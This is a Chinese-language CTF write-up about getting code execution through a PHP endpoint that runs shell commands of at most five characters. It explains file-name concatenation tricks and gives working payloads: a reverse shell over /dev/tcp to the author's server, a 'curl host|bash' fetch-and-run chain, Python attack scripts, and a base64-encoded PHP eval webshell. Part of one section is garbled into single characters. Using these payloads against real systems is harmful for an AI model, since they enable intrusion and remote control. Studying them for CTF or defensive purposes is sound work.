文章目录
- 基础知识
- 正式开始操作
- 如反弹一个shell:
- 上传Webshell马
遇到了这样一个题,这题是一个特别的命令执行题, 首先进去首页之后发现以下源码:
1
2
3
4
5
6
7
8
9
10
11<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
此题长度限制为5,所以不能用常规的方法来getshell。orange师傅给的方式是通过拼接执行来getshell。
基础知识
1.可以通过“>”符来创建文件,如“>a”将创建名为a的文件
ls>a 将目录写进a文件 ls>>a 追加的形式写(注意排序问题,按照顺序写的)
2. 通过ls的-t(从晚到早)参数来按时间先后来排序文件,新文件在前,旧文件在后
3. sh a 会把文件a里面的内容当作命令来执行
4. 可以使用反斜杠“ ”来进行命令拼接,实现换行(最后一个i后面没有“”了,说明命令结束,并开始执行)
5. 通过base64来避免特殊字符
6. 输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
1
2
3
4
5>id >root # ls * (等同于命令:id root)
7. 增加字母来限定被用来当作 命令 和 参数 的文件
1
2
3
4
5
6
7>ls >lss >lsss >1 *s (等同于命令:ls lss lsss) *使第一个列出的文件名(ls)当作命令,剩下的文件名当作参数,而*后面的s有限制了只有含有s的字符串才能当做参数
8. 联合知识点⑦,通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)
1
2
3
4>rev echo 1234 > v *v (等同于命令:rev v)
9. ls是 换行 输出,先看下ls的效果,ls的结果写到文件g中时每个文件名都是单独一行,这样会影响知识点 ⑥ 的命令执行
先创建几个命令文件:
1
2
3
4
5
6# ls -t>g >>g >-t\ # 两个反斜杠用于转义,防止最后一个反斜杠在命令行中就被当做换行符 >s \ >l\
ls的结果写到文件g中时每个文件名都是单独一行,就不能利用⑥中的“*”方式来执行命令了,而必须借助“ ”来执行g文件中的命令。
**10. 使用
I
F
S
来
代
替
空
格
∗
∗
有
时
候
一
条
命
令
中
可
能
要
有
多
个
空
格
,
而
这
样
的
话
用
上
面
的
方
法
拼
接
命
令
是
就
会
生
成
相
同
名
的
文
件
(
空
格
)
,
会
造
成
覆
盖
,
所
以
要
用
‘
{IFS}来代替空格** 有时候一条命令中可能要有多个空格,而这样的话用上面的方法拼接命令是就会生成相同名的文件(空格),会造成覆盖,所以要用`
IFS来代替空格∗∗有时候一条命令中可能要有多个空格,而这样的话用上面的方法拼接命令是就会生成相同名的文件(空格),会造成覆盖,所以要用‘{IFS}`等符号来代替一个空格
如一下命令:
1
2echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换。否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的
1
2echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
11. 错误语句不会影响下面正确语句的执行
1
2
3
4
5
6
7
8-t >q a //这之前的命令虽然是错的,但不会影响下面正确语句的执行 l s -t >q //实际输出的命令为 ls -t>q
正式开始操作
综上,我们需要做的就是将命令写进文件,使用“ ”来连接不同行,然后执行文件就可以。但是问题出现了,我们控制不了文件的顺序,使得写入文件时的顺序不会是按照我们想的顺序,如果能按照时间排序就很完美了,当然ls -t就是这个功能,我们需要把它写进一个文件里,方便接下来调用。
首先我把下面这段代码写入到主机中我们创建的名为a的文件中去,然后后期再传入攻击payload时。通过sh执行a文件即可生成f文件,然后再让sh去执行f文件的代码内容即可得到一句话木马
1
2
3ls ‐t>g 我们将这个命令写入文件a,a文件中的内容为“ls ‐t>g”
我们想要ls -t>g这个命令写入文件a,那么创建ls ,-t ,>g这三个文件,
所以payload如下
1
2
3
4>ls \ >-t\ >>g
我们有这三个文件了,就可以调用命令ls>a 将目录(目录中的文件名)写进a文件。但是发现…a里面的命令实际是乱的(因为ls和dir命令结果默认是根据文件名字母顺序进行排序的):
怎样才能将创建的文件可以排成我们想要的顺序呢?
方法一:
看看大佬的顺序是如何弄的(环境不一样,可能是不一样的)
1
2
3
4
5
6
7
8# ls ‐t>q >-t\ >>q >l\ >s \ ls>a ls>>a
ls>a之后 文件内容为
在ls>>a 得到的结果为
我们看到第四个到第七个组成了ls -t>q,前面的错误指令不用考虑,不影响。该方法环境不一样,可能是不一样的。有局限性。
方法二:(借助字典顺序、dir、rev和“*”符号)
用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行,这样会影响知识点⑥的命令执行。所以“*”要配合dir来用。
我们的目的是把下面这段代码写入到主机的a文件中去:
1
2
3ls ‐th >f //h的存在是为了更好地利用字典顺序 我们将这个命令写入文件a,a文件中的内容为“ls ‐t>f”
所以payload如下
1
2
3
4
5
6
7
8
9>dir >f> >ht- >sl *>v (等同于命令:dir "f>" "ht‐" "sl" > v ,先将反向命令的写入中间文件v,文件v中的内容为f> ht- sl (dir写入文件自动加空格,所以不需要在用“”来转义空格了)) >rev >*v>a (等同于命令:rev v > a)(a里面的内容为:ls ‐th >f)
以上h的存在只为了能够利用字典顺序,即f
在ht-
前,ht-
在sl
前,这就按照字母顺序写入了v,v再反向输出一下就得到了ls ‐th >f
这个方法挺巧妙的也挺实用的,本体利用的也是这个方法。这样我们的payload第一部分已经写完,我们将ls ‐th >f 写入了a文件,后期再传入攻击payload或执行其他命令时,通过sh执行a文件即可生成f文件,得到的f文件里就是我们想要执行的命令或木马。
如反弹一个shell:
我们在自己的vps上web目录/var/www/html/里先创建一个文件index.html,里面写好反弹shell的话(由于linux文件名不能有斜杠“/”,所以就不能curl xxx.xxx.xxx.xxx/1.txt,我们就用index,这样47.1x0.1x0.123连上后会默认自动访问index.html反弹shell)
1
2bash -i >& /dev/tcp/47.1x0.1x0.123/2333 0>&1
接下来让该题目标靶机执行curl 47.1x0.1x0.123|bash
写脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41import requests from time import sleep from urllib import quote payload = [ # generate `ls -t>g` file '>ls\', 'ls>_', '> \', '>-t\', '>>g', 'ls>>_', # generate `curl 47.1x0.1x0.123|bash` '>sh ', '>ba\', '>|\', '>3\', '>12\', '>0.\', '>1x\', '>0.\', '>1x\', '>7.\', '>4\', '> \', '>rl\', '>cu\', # exec 'sh _', 'sh g', ] r = requests.get('http://49.234.5.69:30002/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://49.234.5.69:30002/?cmd=' + quote(i) ) print i sleep(0.2)
返现不行,没有成功反弹shell。原来在我们脚本中存在了两个“>0.”,无法创建两个同名的文件,所以后一个0.文件将前一个0.文件覆盖了,这是ip地址的原因,我们可以从网上将ip地址转为十进制的来解决。
我们这里来使用域名来代替ip:
www.rxxi.vip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41import requests from time import sleep from urllib import quote payload = [ # generate `ls -t>g` file '>ls\', 'ls>_', '> \', '>-t\', '>>g', 'ls>>_', # generate `curl orange.tw.tw|python` # generate `curl 10.188.2.20|bash` '>sh ', '>ba\', '>|\', '>ip\', '>v\', '>i.\', '>x\', '>rx\', '>w.\', '>ww\', '> \', '>rl\', '>cu\', # exec 'sh _', 'sh g', ] r = requests.get('http://49.234.5.69:30002/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://49.234.5.69:30002/?cmd=' + quote(i) ) print i sleep(0.2)
在生成自己的命令时要注意各个命令段之间名字不能相同 因为不能生成两个带有相同命令段的文件名。
用Finalshell连上自己的vps,执行nc -lvp 2333等待连接
执行完Python脚本后我们的vps就可以成功连上靶机的shell了,在根目录就可以找到flag。
上传Webshell马
我们的payload第一部分已经写完,接下来我们需要把这段代码上传到主机,其中的内容为(<?php eval($_GET[1]);)base64编码后的内容
1
2echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换。否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的
1
2echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下最终payload:
payload.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45>dir >f> >ht- >sl *>v >rev *v>a >hp >p\ >1.\ >>\ >-d\ >64 \ >se\ >ba\ >|\ >7\ >Sk\ >X\ >x\ >Fs\ >FV\ >d\ >X0\ >k\ >g\ >bC\ >h\ >XZ\ >gZ\ >A\ >aH\ >w\ >D9\ >P\ >S}\ >IF\ >{\ >$\ >o\ >ch\ >e\ sh a sh f
Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14#!/usr/bin/python # -*- coding: UTF-8 -*- import requests url = "http://49.234.5.69:30002/?cmd={0}" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) #检查是 否攻击成功 test = requests.get("http://49.234.5.69:30002/var/www/sandbox/473beaa15f3bfe7b4fc99499fffac5ed/1.php") if test.status_code == requests.codes.ok: print("[*]Attack success!!!")
连菜刀就行了:
最后
以上就是高大发卡最近收集整理的关于5位可控字符下的命令执行的全部内容,更多相关5位可控字符下内容请搜索靠谱客的其他文章。
发表评论 取消回复